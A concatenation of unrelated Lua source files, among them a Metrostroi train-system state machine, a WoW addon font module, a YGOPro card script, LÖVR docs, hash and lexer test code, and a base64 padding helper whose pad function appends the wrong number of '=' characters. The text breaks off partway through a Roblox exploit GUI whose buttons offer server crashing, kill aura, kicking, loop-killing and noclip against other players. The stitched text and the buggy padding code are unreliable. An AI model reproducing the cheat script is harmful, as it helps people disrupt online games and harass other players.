local Announcer = Train.Announcer
if state and self.State ~= state then
self.State = state
if state == 1 then
self.NextState = add
end
self:SetTimer()
elseif not state then
state = self.NextState
self.State = self.NextState
else return end
if state == 4 then
self.EnteredPass = ""
end
if state == 5 then
self.State5Choose = 1
end
if state == 6 then
self.State6Choose = 1
self.Line = self.Train.UPO.Line or 1
if Metrostroi.WorkingStations[self.Line] then
local Routelength = #Metrostroi.WorkingStations[self.Line]
self.FirstStation = self.Train.UPO.FirstStation or self.FirstStation--tostring(self.Train.UPO.Path == 2 and Metrostroi.WorkingStations[self.Line][Routelength] or Metrostroi.WorkingStations[self.Line][1])
self.LastStation = self.Train.UPO.LastStation or self.LastStation--tostring(self.Train.UPO.Path == 1 and Metrostroi.WorkingStations[self.Line][Routelength] or Metrostroi.WorkingStations[self.Line][1])
else
--self.FirstStation = "111"
--self.LastStation = "123"
end
self:UpdateUPO()
self.FirstStation = ""
self.LastStation = ""
self.State6Error = false
end
if state == 7 then
self.State6Choose = 1
self.State6Error = false
end
if state == 8 then
self.Check = nil
ARS:TriggerInput("PA-Ring",1)
for k,v in pairs(self.Train.WagonList) do
v.ENDis:TriggerInput("Set",1)
end
if not state9 then
for k,v in pairs(self.Train.WagonList) do
if v ~= self.Train and v["PA-M"] then
v["PA-M"]:SetState(8,nil,true)
end
end
end
else
for k,v in pairs(self.Train.WagonList) do
v.ENDis:TriggerInput("Set",0)
if v.ALS_ARS then v.ALS_ARS:TriggerInput("PA-Ring",0) end
end
end
if state == 9 then
if not state9 then
for k,v in pairs(self.Train.WagonList) do
if v ~= self.Train and v["PA-M"] then
v["PA-M"]:SetState(9,nil,true)
end
end
end
self.AnnChoosed = 0
self.NeedConfirm = 0
self.MenuChoosed = 0
self.Fix = nil
self.Zon = nil
Train.UPO.BoardTime = nil
self.ODZ = nil
end
if state == 0 then
self.Train:PlayOnce("paksd","cabin",0.75,200.0)
self.Train.ALS_ARS:TriggerInput("PA-Ring",0)
self.EnteredPass = ""
end
if state == 3 then
if IsValid(self.Train.DriverSeat) then
self.Train.DriverSeat:EmitSound("subway_announcer/00_05.mp3", 73, 100)
end
end
end
function TRAIN_SYSTEM:Think(dT)
if self.Train.Blok ~= 3 then self:SetState(-1) return end
--print(self.Train.Owner)
local Train = self.Train
local ARS = Train.ALS_ARS
local Announcer = Train.Announcer
-- self.Train.UPO.Station = self.Train:ReadCell(49160) > 0 and self.Train:ReadCell(49160) or self.Train:ReadCell(49161)
-- self.Train.UPO.Path = Metrostroi.PathConverter[self.Train:ReadCell(65510)] or 0
-- self.Train.UPO.Distance = math.min(9999,self.Train:ReadCell(49165) + (Train.Autodrive.Corrections[self.Train.UPO.Station] or 0))
if Train.VAU.Value < 0.5 or Train.Panel["V1"] < 0.5 then self:SetState(-1) end
if Train.VAU.Value > 0.5 and self.State == -1 and Train.Panel["V1"] > 0.5 then self:SetState(0) end
if Train.VB.Value > 0.5 and Train.Battery.Voltage > 55 and self.State > -1 then
for k,v in pairs(self.TriggerNames) do
if Train[v] and (Train[v].Value > 0.5) ~= self.Triggers[v] then
if Train[v].Value > 0.5 then
self:Trigger(v)
end
--print(v,self.Train[v].Value > 0.5)
self.Triggers[v] = Train[v].Value > 0.5
end
end
end
if self.Train.KV.ReverserPosition == 0 and self.State > 3 and self.State < 8 and self.State ~= -9 then self:SetState(3) end
if self.State == 0 and self.RealState ~= 0 then
elseif self.State == 0 then
self:SetTimer(0.5)
if self:GetTimer(4) then
self:SetState(1,2)
end
elseif self.State == 1 then
self:SetTimer(1)
if self:GetTimer(0.4) then
self:SetState()
end
elseif self.State == 2 then
self:SetTimer(0.5)
if self:GetTimer(6) then
self:SetState(1,3)
end
elseif self.State == 8 then
--print(ARS.KVT)
if ARS.KVT and self.Check == nil then
self.Check = true
self:SetTimer(4)
end
if not ARS.KVT and self.Check ~= false then
self.Check = nil
self:SetTimer()
end
if ARS.KVT and self:GetTimer(1) then
self.Check = false
ARS:TriggerInput("PA-Ring",0)
for k,v in pairs(self.Train.WagonList) do
if v ~= self.Train and v.ALS_ARS then
v.ALS_ARS:TriggerInput("PA-Ring",0)
end
end
self:SetTimer()
end
elseif self.State == 9 then
if (self.Train.UPO:GetSTNum(self.LastStation) > self.Train.UPO:GetSTNum(self.FirstStation) and self.Train.UPO.Path == 2) or (self.Train.UPO:GetSTNum(self.FirstStation) > self.Train.UPO:GetSTNum(self.LastStation) and self.Train.UPO.Path == 1) then
local old = self.LastStation
self.LastStation = self.FirstStation
self.FirstStation = old
end
if self.VRD and (not ARS.Signal0 or ARS.Signal0 and (ARS.Signal40 or ARS.Signal60 or ARS.Signal70 or ARS.Signal80)) then self.VRD = false end
self.State9 = (Train.UPO:End(self.Train.UPO.Station,self.Train.UPO.Path,true) or Train.UPO:GetSTNum(self.LastStation) > Train.UPO:GetSTNum(self.Train.UPO.Station) and self.Train.UPO.Path == 2 or Train.UPO:GetSTNum(self.Train.UPO.Station) < Train.UPO:GetSTNum(self.FirstStation) and self.Train.UPO.Path == 1) and 0 or 1--self.Arrived ~= nil and 1 or 2
if self.State9 ~= 0 and self.Train.KV.ReverserPosition ~= 0 then
if not self.Trainsit then
if self.Train.UPO.Distance < 100 and self.Train.Speed > 55 then
self.StopTrain = true
end
if self.Train.UPO.Distance < 10 and self.Train.Speed > 20 then
self.StopTrain = true
end
if self.Train.Speed < 0.5 and self.StopTrain then
self.StopTrain = false
end
if self.StopTrain then
end
elseif self.StopTrain then
self.StopTrain = false
end
if self.RealState == 8 and not self.Transit then
if self.Train.UPO.Distance < 75 and not self.Arrived and Metrostroi.WorkingStations[self.Line][self.Train.UPO.Station] and ARS.Speed <= 1 then
self.Arrived = true
end
end
--[[
if not self.Transit and 45 < self.Train.UPO.Distance and self.Train.UPO.Distance < 75 and not self.Arrived and Metrostroi.WorkingStations[self.Line][self.Train.UPO.Station] then
self.Arrived = true
if self.Train.R_UPO.Value > 0 then
local tbl = Metrostroi.WorkingStations[self.Line]
self.UPO:PlayArriving(self.Train.UPO.Station,tbl[tbl[self.Train.UPO.Station] + (self.Train.UPO.Path == 1 and 1 or -1)],self.Train.UPO.Path)
end
end
]]
if self.Transit then self.Arrived = nil end
if self.Train.UPO.Distance > 75 then
self.Arrived = nil
else
--if self.Train.Panel.SD < 0.5 then self.Arrived = true end
end
--if (self.Ring == nil or self.Ring == 0) and self.Train.Panel.SD < 0.5 then
--self.Ring = false
--end
if self.Arrived then
if Train.UPO.BoardTime and math.floor((Train.UPO.BoardTime or CurTime()) - CurTime()) < (self.Train.Horlift and 15 or 8) and self.Arrived then
self.Arrived = false
end
end
if (self.Train:ReadCell(1) > 0 or ARS.Speed > 1) and self.Arrived == false then self.Arrived = nil end
end
if self.Nakat then
if not self.Meters then self.Meters = 0 end
self.Meters = self.Meters + ARS.Speed*self.Train.SpeedSign/3600*1000*dT
if math.abs(self.Meters) > 2.5 then
self.Nakat = false
if self.Train:ReadTrainWire(1) < 1 then
ARS.Nakat = self.Meters < 0
end
end
else
self.Meters = nil
end
end
if self.State ~= self.RealState then
self.RealState = self.State
self.TimeOverride = true
end
self.Time = self.Time or CurTime()
if (CurTime() - self.Time) > 0.1 or self.TimeOverride then
self.TimeOverride = nil
--print(1)
self.Time = CurTime()
Train:SetNW2Int("PAM:State",self.State)
if self.State == 3 then
Train:SetNW2Bool("PAM:RR",self.Train.KV.ReverserPosition ~= 0)
elseif self.State == 4 then
Train:SetNW2Int("PAM:Pass",self.EnteredPass ~= "/" and #self.EnteredPass or -1)
elseif self.State == 5 then
Train:SetNW2Bool("PAM:Restart",self.FirstStation ~= "" and self.LastStation ~= "")
Train:SetNW2Int("PAM:State5",self.State5Choose)
elseif self.State == 6 then
Train:SetNW2Int("PAM:State6",self.State6Choose)
Train:SetNW2Bool("PAM:State6Error",self.State6Error)
Train:SetNW2Int("PAM:LastStation",tonumber(self.LastStation) or -1)
Train:SetNW2Int("PAM:FirstStation",tonumber(self.FirstStation) or -1)
Train:SetNW2Int("PAM:Line",self.Line)
Train:SetNW2Int("PAM:RouteNumber",tonumber(self.RouteNumber ~= "" and self.RouteNumber or -1))
elseif self.State == 7 then
Train:SetNW2Int("PAM:State6",self.State6Choose)
Train:SetNW2Bool("PAM:State6Error",self.State6Error)
Train:SetNW2Int("PAM:LastStation",tonumber(self.LastStation) or -1)
Train:SetNW2Int("PAM:Line",self.Line)
Train:SetNW2Int("PAM:RouteNumber",tonumber(self.RouteNumber ~= "" and self.RouteNumber or -1))
--Train:SetNW2Int("PAM:LastStation",tonumber(self.LastStation) or -1)
--Train:SetNW2Int("PAM:Line",self.Line)
--Train:SetNW2Int("PAM:RouteNumber",tonumber(self.RouteNumber ~= "" and self.RouteNumber or -1))
elseif self.State == 9 then
Train:SetNW2Int("PAM:Line",self.Line)
Train:SetNW2Int("PAM:Path",self.Train.UPO.Path)
Train:SetNW2Int("PAM:Station",self.State9 == 0 and 0 or self.Train.UPO.Station)
Train:SetNW2Int("PAM:LastStation",self.LastStation)
Train:SetNW2Float("PAM:Distance",math.Round(self.Train.UPO.Distance,2))
Train:SetNW2String("PAM:SName",ARS.Signal and ARS.Signal.RealName or "ERR")
Train:SetNW2Bool("PAM:RR",self.Train.KV.ReverserPosition ~= 0)
Train:SetNW2Int("PAM:Type",(self.Train.Pneumatic.EmergencyValveEPK and 0 or self.Train.ALS_ARS.UAVAContacts and 4 or self.UOS and 5 or self.VRD and 2 or (self.Train.Autodrive.AutodriveEnabled or self.Train.UPO.StationAutodrive) and 1 or 3))
Train:SetNW2Int("PAM:KV",self.Train.Autodrive.AutodriveEnabled and (self.Rotating and -3 or self.Brake and -1 or self.Accelerate and 3 or 0) or (ARS["33G"] > 0 or (self.UOS and (ARS["8"] + (1-self.Train.RPB.Value)) > 0)) and 5 or self.Train.KV.RealControllerPosition)
Train:SetNW2Bool("PAM:VZ1", self.Train:ReadTrainWire(29) > 0)
Train:SetNW2Bool("PAM:VZ2", self.Train.PneumaticNo2.Value > 0)
Train:SetNW2Int("PAM:Menu", self.MenuChoosed or 0)
Train:SetNW2Int("PAM:Ann",self.AnnChoosed)
Train:SetNW2Int("PAM:NeedConfirm",self.NeedConfirm)
Train:SetNW2Int("PAM:BoardTime",math.floor((Train.UPO.BoardTime or CurTime()) - CurTime()))
Train:SetNW2Bool("PAM:KD",self.KD)
Train:SetNW2Bool("PAM:LPT",self.LPT)
Train:SetNW2Bool("PAM:SetupError",Metrostroi.AnnouncerData[tonumber(self.FirstStation)] == nil or Metrostroi.AnnouncerData[tonumber(self.LastStation)] == nil)
self.Train:SetNW2Bool("PAM:Nakat",self.Nakat)
if self.Nakat then
self.Train:SetNW2Float("PAM:Meters",math.Round(math.abs(self.Meters or 0),2))
self.Train:SetNW2Bool("PAM:Sign",ARS.Speed > 0.5 and self.Train.SpeedSign < 0)
end
self.Train:SetNW2Int("PAM:Fix",self.Fix or -1)
self.Train:SetNW2Int("PAM:Zon",self.Zon or -1)
if self.Fix or self.Zon then
Train:SetNW2Int("PAM:FLine",self.FLine or -1)
Train:SetNW2Int("PAM:FStation",tonumber(self.EnteredStation) or -1)
Train:SetNW2Int("PAM:FAc",tonumber(self.FStation) or -1)
Train:SetNW2Bool("PAM:State6Error",self.State6Error)
end
else
end
end
if Train.VZP.Value > 0.5 then
Train.Autodrive:Enable()
end
self.RouteNumber = string.gsub(self.Train.RouteNumber or "","^(0+)","")
if self.State > 7 then
self.Line = self.Train.UPO.Line
self.FirstStation = tostring(self.Train.UPO.FirstStation or "")
self.LastStation = tostring(self.Train.UPO.LastStation or "")
end
end
|
local assert = assert
local string = string
local gsub = string.gsub
local rep = string.rep
local padding = {}
function padding.pad(data)
local n = #data % 4
return n == 0 and data or (data .. rep("=", n))
end
function padding.unpad(data)
local len = #data
assert(len % 4 == 0, "Data is incorrectly padded")
data = gsub(data, "=+$", "")
local rem = len - #data
assert(rem > -1 and rem <= 2, "Invalid padding found")
return data
end
return padding |
local ADDON_NAME, Addon = ...
local ThreatPlates = Addon.ThreatPlates
---------------------------------------------------------------------------------------------------
-- Imported functions and constants
---------------------------------------------------------------------------------------------------
-- Lua APIs
-- WoW APIs
-- ThreatPlates APIs
local ANCHOR_POINT_TEXT = Addon.ANCHOR_POINT_TEXT
local Font = {}
Addon.Font = Font
---------------------------------------------------------------------------------------------------
-- Element code
---------------------------------------------------------------------------------------------------
function Font:UpdateTextFont(font, db)
font:SetFont(ThreatPlates.Media:Fetch('font', db.Typeface), db.Size, db.flags)
if db.Shadow then
font:SetShadowOffset(1, -1)
font:SetShadowColor(0, 0, 0, 1)
else
font:SetShadowColor(0, 0, 0, 0)
end
if db.Color then
font:SetTextColor(db.Color.r, db.Color.g, db.Color.b, db.Transparency or 1)
end
font:SetJustifyH(db.HorizontalAlignment or "CENTER")
font:SetJustifyV(db.VerticalAlignment or "CENTER")
end
function Font:UpdateText(parent, font, db)
self:UpdateTextFont(font, db.Font)
local anchor = db.Anchor or "CENTER"
font:ClearAllPoints()
if db.InsideAnchor == false then
local anchor_point_text = ANCHOR_POINT_TEXT[anchor]
font:SetPoint(anchor_point_text[2], parent, anchor_point_text[1], db.HorizontalOffset or 0, db.VerticalOffset or 0)
else -- db.InsideAnchor not defined in settings or true
font:SetPoint(anchor, parent, anchor, db.HorizontalOffset or 0, db.VerticalOffset or 0)
end
end
|
local TestHotReload = {}
function TestHotReload.testFunc()
print("hello world!!")
end
return TestHotReload |
local httpc = require "httpc"
local type = type
--[[
免费的有道词典接口, 采用https安全传输.
]]
local youdao = { __Version__ = 0.1, host = "https://fanyi.youdao.com/translate"}
-- 中文 >> 英语
youdao.ZH_CN2EN = "ZH_CN2EN"
-- 中文 >> 日语
youdao.ZH_CN2JA = "ZH_CN2JA"
-- 中文 >> 韩语
youdao.ZH_CN2KR = "ZH_CN2KR"
-- 中文 >> 法语
youdao.ZH_CN2FR = "ZH_CN2FR"
-- 中文 >> 俄语
youdao.ZH_CN2RU = "ZH_CN2RU"
-- 中文 >> 西语
youdao.ZH_CN2SP = "ZH_CN2SP"
-- 英语 >> 中文
youdao.EN2ZH_CN = "EN2ZH_CN"
-- 日语 >> 中文
youdao.JA2ZH_CN = "JA2ZH_CN"
-- 韩语 >> 中文
youdao.KR2ZH_CN = "KR2ZH_CN"
-- 法语 >> 中文
youdao.FR2ZH_CN = "FR2ZH_CN"
-- 俄语 >> 中文
youdao.RU2ZH_CN = "RU2ZH_CN"
-- 西语 >> 中文
youdao.SP2ZH_CN = "SP2ZH_CN"
-- 转换
function youdao.translate(translate_type, translate_text)
translate_type = youdao[translate_type]
if type(translate_type) ~= 'string' then
translate_type = "AUTO"
end
if type(translate_text) ~= 'string' or translate_text == '' then
return nil, "invalid translate_text."
end
return httpc.get(youdao.host, nil, {
{"doctype", "json"},
{"i", translate_text},
{"type", translate_type},
})
end
return youdao |
print("Hello, my name is addon_game_mode, and I am a gamemode 15 initializer")
function Precache( context )
PrecacheUnitByNameSync("npc_trollsandelves_rock_1", context)
PrecacheUnitByNameSync("npc_dota_creature_creep_melee", context)
PrecacheUnitByNameSync("npc_dota_goodguys_tower1_top", context)
PrecacheUnitByNameSync("npc_dota_hero_wisp", context)
PrecacheResource("particle", "particles/units/heroes/hero_lina/lina_spell_light_strike_array.vpcf", context) -- Troll reveal
end
function Activate()
GameRules.TrollsAndElves = TrollsAndElvesGameMode:new()
GameRules.TrollsAndElves.InitGameMode()
GameRules.ID_TO_HERO = {}
end |
--暗黒界の傀儡
--scripted by JoyJ
function c100313025.initial_effect(c)
--remove
local e1=Effect.CreateEffect(c)
e1:SetDescription(aux.Stringid(100313025,0))
e1:SetCategory(CATEGORY_REMOVE+CATEGORY_HANDES)
e1:SetType(EFFECT_TYPE_ACTIVATE)
e1:SetCode(EVENT_FREE_CHAIN)
e1:SetProperty(EFFECT_FLAG_CARD_TARGET)
e1:SetCountLimit(1,100313025+EFFECT_COUNT_CODE_OATH)
e1:SetTarget(c100313025.rmtg)
e1:SetOperation(c100313025.rmop)
c:RegisterEffect(e1)
--To hand
local e2=Effect.CreateEffect(c)
e2:SetDescription(aux.Stringid(100313025,1))
e2:SetCategory(CATEGORY_TOHAND)
e2:SetType(EFFECT_TYPE_IGNITION)
e2:SetProperty(EFFECT_FLAG_CARD_TARGET)
e2:SetRange(LOCATION_GRAVE)
e2:SetCondition(aux.exccon)
e2:SetCost(aux.bfgcost)
e2:SetTarget(c100313025.thtg)
e2:SetOperation(c100313025.thop)
c:RegisterEffect(e2)
end
function c100313025.rmfilter(c)
return c:IsType(TYPE_MONSTER) and c:IsRace(RACE_FIEND) and c:IsDiscardable(REASON_EFFECT)
end
function c100313025.rmtg(e,tp,eg,ep,ev,re,r,rp,chk)
if chkc then return chkc:IsLocation(LOCATION_GRAVE) and chkc:IsAbleToRemove() end
if chk==0 then return Duel.IsExistingTarget(Card.IsAbleToRemove,tp,LOCATION_GRAVE,LOCATION_GRAVE,1,nil)
and Duel.IsExistingMatchingCard(c100313025.rmfilter,tp,LOCATION_HAND,0,1,nil) end
Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_REMOVE)
local g=Duel.SelectTarget(tp,Card.IsAbleToRemove,tp,LOCATION_GRAVE,LOCATION_GRAVE,1,3,nil)
Duel.SetOperationInfo(0,CATEGORY_REMOVE,g,g:GetCount(),0,0)
Duel.SetOperationInfo(0,CATEGORY_HANDES,nil,0,tp,1)
end
function c100313025.rmop(e,tp,eg,ep,ev,re,r,rp)
local tg=Duel.GetChainInfo(0,CHAININFO_TARGET_CARDS):Filter(Card.IsRelateToEffect,nil,e)
if #tg>0 and Duel.Remove(tg,POS_FACEUP,REASON_EFFECT)>0
and Duel.GetFieldGroupCount(tp,LOCATION_HAND,0)>0 then
Duel.BreakEffect()
Duel.DiscardHand(tp,c100313025.rmfilter,1,1,REASON_EFFECT+REASON_DISCARD,nil)
end
end
function c100313025.thfilter(c)
return c:IsType(TYPE_MONSTER) and c:IsRace(RACE_FIEND) and c:IsAbleToHand() and c:IsFaceup()
end
function c100313025.thtg(e,tp,eg,ep,ev,re,r,rp,chk,chkc)
if chkc then return chkc:IsLocation(LOCATION_REMOVED) and chkc:IsControler(tp) and c100313025.thfilter(chkc) end
if chk==0 then return Duel.IsExistingTarget(c100313025.thfilter,tp,LOCATION_REMOVED,0,1,nil) end
Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_ATOHAND)
local g=Duel.SelectTarget(tp,c100313025.thfilter,tp,LOCATION_REMOVED,0,1,1,nil)
Duel.SetOperationInfo(0,CATEGORY_TOHAND,g,1,0,0)
end
function c100313025.thop(e,tp,eg,ep,ev,re,r,rp)
local tc=Duel.GetFirstTarget()
if tc:IsRelateToEffect(e) then
Duel.SendtoHand(tc,nil,REASON_EFFECT)
end
end
|
return {
tag = 'headset',
summary = 'Get the name of the connected headset display.',
description = [[
Returns the name of the headset as a string. The exact string that is returned depends on the
hardware and VR SDK that is currently in use.
]],
arguments = {},
returns = {
{
name = 'name',
type = 'string',
description = 'The name of the headset as a string.'
}
},
notes = [[
<table>
<thead>
<tr>
<td>driver</td>
<td>name</td>
</tr>
</thead>
<tbody>
<tr>
<td>desktop</td>
<td><code>Simulator</code></td>
</tr>
<tr>
<td>openvr</td>
<td>varies</td>
</tr>
<tr>
<td>openxr</td>
<td>varies</td>
</tr>
<tr>
<td>vrapi</td>
<td><code>Oculus Quest</code> or <code>Oculus Quest 2</code></td>
</tr>
<tr>
<td>webxr</td>
<td>always nil</td>
</tr>
<tr>
<td>oculus</td>
<td>varies</td>
</tr>
<tr>
<td>pico</td>
<td><code>Pico</code></td>
</tr>
</tbody>
</table>
]]
}
|
local ripemd160 = require("mbedtls").ripemd160
local spec = require("test.spec").new()
spec:describe("check class", function()
assert(ripemd160 ~= nil)
assert(ripemd160.class == "ripemd160")
end)
spec:describe("test hex ripemd160", function()
local result = "5e52fee47e6b070565f74372468cdc699de89107"
assert(result == ripemd160("test", true))
end)
spec:describe("check instance class", function()
local ctx = ripemd160.new()
assert(ctx.class == "ripemd160.ctx")
end)
spec:describe("new, update, finish", function()
local m = ripemd160.new()
m:starts()
m:update("test")
assert("5e52fee47e6b070565f74372468cdc699de89107" == m:finish(true))
end)
spec:describe("check clone", function()
local s = ripemd160.new()
s:update("test")
local d = s:clone()
s:update("5678")
d:update("1234")
local sr = d:finish(true)
local dr = s:finish(true)
assert(sr == ripemd160("test1234", true))
assert(dr == ripemd160("test5678", true))
end)
spec:run()
collectgarbage()
|
-- See: (find-RETRO "README")
-- and: (find-RETRO "Makefile" "runluatest")
assert(package.loadlib("./retro.so", "luaopen_retro"))()
print("Before")
retro_initialize()
retro_eval("1 2 + putn cr words cr")
retro_eval("11 212 * putn 2cr bye")
retro_finish()
print("\nAfter")
|
-- this is imported from MPW, please review it at some point
local SustainableButton = require(script.Parent:FindFirstChild("SustainableButton"))
local NumberEditorComponents = require(script.Parent:FindFirstChild("NumberEditorComponents"))
local NON_INT_PATTERN = "[^%-0-9]"
return function(main, lib, propertyData)
local isReadOnly = propertyData.Tags.ReadOnly
local textBox, incrementUp, incrementDown = NumberEditorComponents(lib.Themer, isReadOnly)
textBox.TextEditable = (not isReadOnly)
main.PropertyValueUpdated:Connect(function(newValue)
textBox.Text = newValue or ""
end)
if isReadOnly then
lib.Themer.DesyncProperties(incrementUp)
lib.Themer.DesyncProperties(incrementDown)
incrementUp:Destroy()
incrementDown:Destroy()
else
SustainableButton(incrementUp, function()
textBox.Text = tostring(tonumber(textBox.Text) + 1)
end, 0.25)
SustainableButton(incrementDown, function()
textBox.Text = tostring(tonumber(textBox.Text) - 1)
end, 0.25)
textBox.FocusLost:Connect(function(enterPressed)
if enterPressed then
main.Update(tonumber(textBox.Text) or 0)
end
end)
textBox:GetPropertyChangedSignal("Text"):Connect(function()
textBox.Text = string.gsub(textBox.Text, NON_INT_PATTERN, "")
end)
incrementUp.Parent = main.Display
incrementDown.Parent = main.Display
end
textBox.Parent = main.Display
end |
-- lexit.lua
-- Cameron K. Titus
--
-- *********************************************************************
-- Module Table Initialization
-- *********************************************************************
local lexit = {} -- Our module; members are added below
-- *********************************************************************
-- Public Constants
-- *********************************************************************
-- Numeric constants representing lexeme categories
lexit.KEY = 1
lexit.ID = 2
lexit.NUMLIT = 3
lexit.OP = 4
lexit.PUNCT = 5
lexit.MAL = 6
-- catnames
-- Array of names of lexeme categories.
-- Human-readable strings. Indices are above numeric constants.
lexit.catnames = {
"Keyword",
"Identifier",
"NumericLiteral",
"Operator",
"Punctuation",
"Malformed"
}
-- *********************************************************************
-- Kind-of-Character Functions
-- *********************************************************************
-- All functions return false when given a string whose length is not
-- exactly 1.
-- isLetter
-- Returns true if string c is a letter character, false otherwise.
local function isLetter(c)
if c:len() ~= 1 then
return false
elseif c >= "A" and c <= "Z" then
return true
elseif c >= "a" and c <= "z" then
return true
else
return false
end
end
-- isDigit
-- Returns true if string c is a digit character, false otherwise.
local function isDigit(c)
if c:len() ~= 1 then
return false
elseif c >= "0" and c <= "9" then
return true
else
return false
end
end
-- isWhitespace
-- Returns true if string c is a whitespace character, false otherwise.
local function isWhitespace(c)
if c:len() ~= 1 then
return false
elseif c == " " or c == "\t" or c == "\n" or c == "\r"
or c == "\f" then
return true
else
return false
end
end
-- isIllegal
-- Returns true if string c is an illegal character, false otherwise.
local function isIllegal(c)
if c:len() ~= 1 then
return false
elseif isWhitespace(c) then
return false
elseif c >= " " and c <= "~" then
return false
else
return true
end
end
-- *********************************************************************
-- The Lexer
-- *********************************************************************
-- lex
-- Our lexit
-- Intended for use in a for-in loop:
-- for lexstr, cat in lexit.lex(program) do
-- Here, lexstr is the string form of a lexeme, and cat is a number
-- representing a lexeme category. (See Public Constants.)
function lexit.lex(program)
-- ***** Variables (like class data members) *****
local pos -- Index of next character in program
-- INVARIANT: when getLexeme is called, pos is
-- EITHER the index of the first character of the
-- next lexeme OR program:len()+1
local state -- Current state for our state machine
local ch -- Current character
local lexstr -- The lexeme, so far
local category -- Category of lexeme, set when state set to DONE
local handlers -- Dispatch table; value created later
-- ***** States *****
local DONE = 0
local START = 1
local LETTER = 2
local DIGIT = 3
local DIGDOT = 4
local PLUS = 5
local MINUS = 6
local STAR = 7
local DOT = 8
-- ***** Character-Related Utility Functions *****
-- currChar
-- Return the current character, at index pos in program. Return
-- value is a single-character string, or the empty string if pos is
-- past the end.
local function currChar()
return program:sub(pos, pos)
end
-- nextChar
-- Return the next character, at index pos+1 in program. Return
-- value is a single-character string, or the empty string if pos+1
-- is past the end.
local function nextChar()
return program:sub(pos+1, pos+1)
end
-- drop1
-- Move pos to the next character.
local function drop1()
pos = pos+1
end
-- add1
-- Add the current character to the lexeme, moving pos to the next
-- character.
local function add1()
lexstr = lexstr .. currChar()
drop1()
end
-- skipWhitespace
-- Skip whitespace and comments, moving pos to the beginning of
-- the next lexeme, or to program:len()+1.
local function skipWhitespace()
while true do
while isWhitespace(currChar()) do
drop1()
end
if currChar() ~= "/" or nextChar() ~= "*" then -- Comment?
break
end
drop1()
drop1()
while true do
if currChar() == "*" and nextChar() == "/" then
drop1()
drop1()
break
elseif currChar() == "" then -- End of input?
return
end
drop1()
end
end
end
-- ***** State-Handler Functions *****
-- A function with a name like handle_XYZ is the handler function
-- for state XYZ
local function handle_DONE()
io.write("ERROR: 'DONE' state should not be handled\n")
assert(0)
end
local function handle_START()
if isIllegal(ch) then
add1()
state = DONE
category = lexit.MAL
elseif isLetter(ch) or ch == "_" then
add1()
state = LETTER
elseif isDigit(ch) then
add1()
state = DIGIT
elseif ch == "+" then
add1()
state = PLUS
elseif ch == "-" then
add1()
state = MINUS
elseif ch == "*" or ch == "/" or ch == "=" then
add1()
state = STAR
elseif ch == "." then
add1()
state = DOT
else
add1()
state = DONE
category = lexit.PUNCT
end
end
local function handle_LETTER()
if isLetter(ch) or isDigit(ch) or ch == "_" then
add1()
else
state = DONE
if lexstr == "begin" or lexstr == "end"
or lexstr == "print" then
category = lexit.KEY
else
category = lexit.ID
end
end
end
local function handle_DIGIT()
if isDigit(ch) then
add1()
elseif ch == "." then
add1()
state = DIGDOT
else
state = DONE
category = lexit.NUMLIT
end
end
local function handle_DIGDOT()
if isDigit(ch) then
add1()
else
state = DONE
category = lexit.NUMLIT
end
end
local function handle_PLUS()
if isDigit(ch) then
add1()
state = DIGIT
elseif ch == "+" or ch == "=" then
add1()
state = DONE
category = lexit.OP
elseif ch == "." then
if isDigit(nextChar()) then
add1() -- add dot to lexeme
add1() -- add digit to lexeme
state = DIGDOT
else -- lexeme is just "+"; do not add dot to lexeme
state = DONE
category = lexit.OP
end
else
state = DONE
category = lexit.OP
end
end
local function handle_MINUS()
if isDigit(ch) then
add1()
state = DIGIT
elseif ch == "-" or ch == "=" then
add1()
state = DONE
category = lexit.OP
elseif ch == "." then
if isDigit(nextChar()) then
add1() -- add dot to lexeme
add1() -- add digit to lexeme
state = DIGDOT
else -- lexeme is just "-"; do not add dot to lexeme
state = DONE
category = lexit.OP
end
else
state = DONE
category = lexit.OP
end
end
local function handle_STAR() -- Handle * or / or =
if ch == "=" then
add1()
state = DONE
category = lexit.OP
else
state = DONE
category = lexit.OP
end
end
local function handle_DOT()
if isDigit(ch) then
add1()
state = DIGDOT
else
state = DONE
category = lexit.OP
end
end
-- ***** Table of State-Handler Functions *****
handlers = {
[DONE]=handle_DONE,
[START]=handle_START,
[LETTER]=handle_LETTER,
[DIGIT]=handle_DIGIT,
[DIGDOT]=handle_DIGDOT,
[PLUS]=handle_PLUS,
[MINUS]=handle_MINUS,
[STAR]=handle_STAR,
[DOT]=handle_DOT,
}
-- ***** Iterator Function *****
-- getLexeme
-- Called each time through the for-in loop.
-- Returns a pair: lexeme-string (string) and category (int), or
-- nil, nil if no more lexemes.
local function getLexeme(dummy1, dummy2)
if pos > program:len() then
return nil, nil
end
lexstr = ""
state = START
while state ~= DONE do
ch = currChar()
handlers[state]()
end
skipWhitespace()
return lexstr, category
end
-- ***** Body of Function lex *****
-- Initialize & return the iterator function
pos = 1
skipWhitespace()
return getLexeme, nil, nil
end
-- *********************************************************************
-- Module Table Return
-- *********************************************************************
return lexit
|
-- Made by Not Phoenix#2308
--[[
Make sure to subscribe to Damian's channel!
https://www.youtube.com/channel/UCbKVVX29h_E5Lv2ieR6mWcQ
--]]
local BlobF = Instance.new("ScreenGui")
local Console = Instance.new("ImageLabel")
local Name = Instance.new("TextLabel")
local Frame = Instance.new("Frame")
local crasher = Instance.new("TextButton")
local killaura = Instance.new("TextButton")
local unlockall = Instance.new("TextButton")
local Others = Instance.new("ImageLabel")
local Name_2 = Instance.new("TextLabel")
local Frame_2 = Instance.new("Frame")
local killone = Instance.new("TextButton")
local kick = Instance.new("TextButton")
local killothers = Instance.new("TextButton")
local loopkill = Instance.new("TextButton")
local LocalPlayer = Instance.new("ImageLabel")
local Name_3 = Instance.new("TextLabel")
local Frame_3 = Instance.new("Frame")
local LoopJump = Instance.new("TextButton")
local Noclip = Instance.new("TextButton")
local Walkspeed = Instance.new("TextButton")
local equip = Instance.new("TextButton")
local Blob = Instance.new("TextBox")
local autofarm = Instance.new("TextButton")
local Credits = Instance.new("TextLabel")
local GuiName = Instance.new("TextLabel")
local PlayerName = Instance.new("ImageLabel")
local Name_4 = Instance.new("TextLabel")
local Frame_4 = Instance.new("Frame")
local TextBox = Instance.new("TextBox")
--Properties:
BlobF.Name = "Blob F****"
BlobF.Parent = game.CoreGui
BlobF.ResetOnSpawn = false
Console.Name = "Console"
Console.Parent = BlobF
Console.BackgroundColor3 = Color3.new(1, 1, 1)
Console.BackgroundTransparency = 1
Console.Position = UDim2.new(0.0137408478, 0, 0.0661875829, 0)
Console.Size = UDim2.new(0.0924315676, 0, 0.036724776, 0)
